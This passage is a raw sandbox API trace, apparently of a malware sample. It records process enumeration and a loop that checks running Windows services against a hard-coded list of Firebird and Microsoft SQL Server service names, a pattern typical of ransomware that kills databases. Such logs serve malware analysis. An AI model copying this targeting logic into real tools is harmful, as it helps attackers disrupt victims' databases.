lpString2="SecurityHealthService") returned -1 [0317.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0317.285] lstrlenW (lpString="SENS") returned 4 [0317.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0317.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0317.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0317.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0317.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0317.285] lstrlenW (lpString="ShellHWDetection") returned 16 [0317.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0317.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0317.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0317.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0317.285] lstrlenW (lpString="Spooler") returned 7 [0317.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0317.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0317.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0317.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0317.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0317.285] lstrlenW (lpString="SSDPSRV") returned 7 [0317.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0317.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0317.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0317.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0317.285] lstrlenW (lpString="StateRepository") returned 15 [0317.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0317.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0317.285] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0317.285] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0317.285] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740b48 | out: hHeap=0x6e0000) returned 1 [0317.285] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0317.380] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0317.381] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0317.382] lstrlenW (lpString="System") returned 6 [0317.382] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0317.382] lstrlenW (lpString="smss.exe") returned 8 [0317.383] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.383] lstrlenW (lpString="csrss.exe") returned 9 [0317.383] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0317.384] lstrlenW (lpString="wininit.exe") returned 11 [0317.384] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0317.385] lstrlenW (lpString="csrss.exe") returned 9 [0317.385] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0317.386] lstrlenW (lpString="winlogon.exe") returned 12 [0317.386] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0317.386] lstrlenW (lpString="services.exe") returned 12 [0317.386] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0317.387] lstrlenW (lpString="lsass.exe") returned 9 [0317.387] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.388] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.388] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0317.388] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0317.388] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.389] lstrlenW (lpString="svchost.exe") returned 11 [0317.389] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.390] lstrlenW (lpString="svchost.exe") returned 11 [0317.390] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0317.391] lstrlenW (lpString="dwm.exe") returned 7 [0317.391] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.391] lstrlenW (lpString="svchost.exe") returned 11 [0317.391] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.392] lstrlenW (lpString="svchost.exe") returned 11 [0317.392] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.393] lstrlenW (lpString="svchost.exe") returned 11 [0317.393] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.393] lstrlenW (lpString="svchost.exe") returned 11 [0317.393] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.394] lstrlenW (lpString="svchost.exe") returned 11 [0317.394] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.395] lstrlenW (lpString="svchost.exe") returned 11 [0317.395] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.395] lstrlenW (lpString="svchost.exe") returned 11 [0317.396] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.396] lstrlenW (lpString="svchost.exe") returned 11 [0317.396] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.397] lstrlenW (lpString="svchost.exe") returned 11 [0317.397] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.398] lstrlenW (lpString="svchost.exe") returned 11 [0317.398] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0317.398] lstrlenW (lpString="spoolsv.exe") returned 11 [0317.398] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0317.399] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0317.399] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0317.400] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0317.400] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0317.401] lstrlenW (lpString="Memory Compression") returned 18 [0317.401] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.402] lstrlenW (lpString="svchost.exe") returned 11 [0317.402] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0317.402] lstrlenW (lpString="audiodg.exe") returned 11 [0317.402] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0317.403] lstrlenW (lpString="sihost.exe") returned 10 [0317.403] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.404] lstrlenW (lpString="svchost.exe") returned 11 [0317.404] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0317.405] lstrlenW (lpString="taskhostw.exe") returned 13 [0317.405] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0317.406] lstrlenW (lpString="explorer.exe") returned 12 [0317.406] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0317.406] lstrlenW (lpString="SearchUI.exe") returned 12 [0317.406] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0317.407] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0317.407] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0317.408] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0317.408] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.408] lstrlenW (lpString="1csrss.exe") returned 10 [0317.409] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.509] lstrlenW (lpString="svchost.exe") returned 11 [0317.509] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0317.510] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0317.510] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0317.513] lstrlenW (lpString="svchost.exe") returned 11 [0317.514] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.514] lstrlenW (lpString="dllhost.exe") returned 11 [0317.514] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.515] lstrlenW (lpString="dllhost.exe") returned 11 [0317.515] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0317.516] lstrlenW (lpString="dllhost.exe") returned 11 [0317.516] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0317.516] lstrlenW (lpString="1csrss.exe") returned 10 [0317.516] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 0 [0317.517] CloseHandle (hObject=0x564) returned 1 [0317.517] Sleep (dwMilliseconds=0x1f4) [0318.160] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd68 [0318.161] EnumServicesStatusExW (in: hSCManager=0x7ddd68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0318.161] GetLastError () returned 0xea [0318.161] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x3f87510 [0318.161] EnumServicesStatusExW (in: hSCManager=0x7ddd68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f87510, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f87510, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0318.162] CloseServiceHandle (hSCObject=0x7ddd68) returned 1 [0318.162] lstrlenW (lpString="Appinfo") returned 7 [0318.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0318.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0318.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0318.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0318.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0318.162] lstrlenW (lpString="AppXSvc") returned 7 [0318.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0318.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0318.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0318.162] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0318.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0318.162] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0318.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0318.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0318.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0318.163] lstrlenW (lpString="Audiosrv") returned 8 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0318.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0318.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0318.163] lstrlenW (lpString="BFE") returned 3 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0318.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0318.163] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0318.163] lstrlenW (lpString="BITS") returned 4 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0318.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0318.163] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0318.163] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0318.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0318.163] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0318.163] lstrlenW (lpString="CDPSvc") returned 6 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0318.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0318.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0318.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0318.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0318.163] lstrlenW (lpString="ClickToRunSvc") returned 13 [0318.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0318.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0318.164] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0318.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0318.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0318.164] lstrlenW (lpString="CryptSvc") returned 8 [0318.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0318.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0318.164] lstrlenW (lpString="DcomLaunch") returned 10 [0318.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 